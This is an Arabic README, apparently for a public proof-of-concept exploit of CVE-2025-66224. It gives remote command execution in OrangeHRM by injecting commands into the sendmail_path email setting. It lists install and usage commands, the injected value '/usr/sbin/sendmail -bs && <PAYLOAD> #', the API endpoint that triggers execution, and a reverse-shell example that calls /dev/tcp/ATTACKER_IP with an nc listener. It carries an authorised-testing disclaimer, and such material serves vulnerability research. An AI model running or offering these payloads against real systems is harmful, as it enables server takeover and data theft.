
استغلال إثبات المفهوم لثغرة CVE-2025-66224 يوضح تنفيذ التعليمات البرمجية عن بُعد في OrangeHRM عبر حقن الأوامر في معامل sendmail_path، مع حقن حمولة قاعدة البيانات وتنظيفها تلقائيًا.
يُظهر هذا الإثبات المفاهيمي (PoC) ثغرة تنفيذ الأوامر عن بُعد (RCE) في OrangeHRM من خلال حقن الأوامر في معامل الإعداد sendmail_path.
تعمل الأداة عبر:
hs_hr_config)هذه الأداة مُقدَّمة لأغراض تعليمية واختبار الاختراق المصرح به فقط. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. المؤلفون غير مسؤولين عن أي إساءة استخدام أو ضرر ناتج عن هذه الأداة.
pip install requests mysql-connector-python
git clone https://github.com/richard-natan/PoC-CVE-2025-66224
cd PoC-CVE-2025-66224
pip install -r requirements.txt
_orangehrmpython3 exploit.py -t <TARGET_URL> -c <COOKIE_VALUE> \
-dh <MYSQL_HOST> -du <MYSQL_USER> -dp <MYSQL_PASSWORD> \
-cmd '<COMMAND_TO_EXECUTE>'
python3 exploit.py -t http://127.0.0.1:8080/ \
-c "g58tak8pbnheseatv6dggvi31i" \
-dh 172.18.0.2 \
-du orange_user \
-dp orange_password \
-cmd "touch /tmp/pwned"
# تشغيل مستمع على جهاز المهاجم
nc -lvnp 4444
# تنفيذ الأداة بحمولة القشرة العكسية
python3 exploit.py -t http://target.com/ \
-c "your_session_cookie" \
-dh 172.18.0.2 \
-du orange_user \
-dp orange_password \
-cmd 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
توجد الثغرة في وظيفة إعداد البريد الإلكتروني حيث يُخزَّن المعامل sendmail_path في قاعدة البيانات ويُتنفَّذ لاحقًا دون تعقيم مناسب.
خطوات الاستغلال:
1. المصادقة على OrangeHRM (الحصول على كوكي جلسة صالحة)
↓
2. الاتصال بقاعدة بيانات MySQL
↓
3. تحديد موقع جدول hs_hr_config
↓
4. تحديث قيمة email_config.sendmail_path:
من: /usr/sbin/sendmail -bs
إلى: /usr/sbin/sendmail -bs && <PAYLOAD> #
↓
5. تشغيل التنفيذ عبر الواجهة البرمجية:
PUT /web/index.php/api/v2/admin/email-configuration
↓
6. يتم تنفيذ الأمر على الخادم
↓
7. استعادة القيمة الأصلية (تنظيف)
المعامل القابل للاستغلال: email_config.sendmail_path
قاعدة البيانات:
hs_hr_configname = 'email_config.sendmail_path'value = مسار أمر sendmailنقطة نهاية التشغيل:
PUT /web/index.php/api/v2/admin/email-configuration
sendmail_pathمقدّم الإثبات المفاهيمي: RiccK
الفريق: Bypassadores && HackersOnSteroids
⚠️ استخدم بمسؤولية. احصل دائمًا على إذن صريح قبل الاختبار.
| Parameter | Short | Required | Description |
|---|
--target | -t | ✅ | رابط الهدف (مثال: http://target.com) |
--cookie | -c | ✅ | قيمة كوكي الجلسة |
--cookie_name | -cn | ❌ | اسم الكوكي (الافتراضي: _orangehrm) |
--command | -cmd | ✅ | الأمر المطلوب تنفيذه على الهدف |
--db_host | -dh | ✅ | عنوان مضيف MySQL |
--db_user | -du | ✅ | اسم مستخدم MySQL |
--db_pass | -dp | ✅ | كلمة مرور MySQL |
--db_port | -dport | ❌ | منفذ MySQL (الافتراضي: 3306) |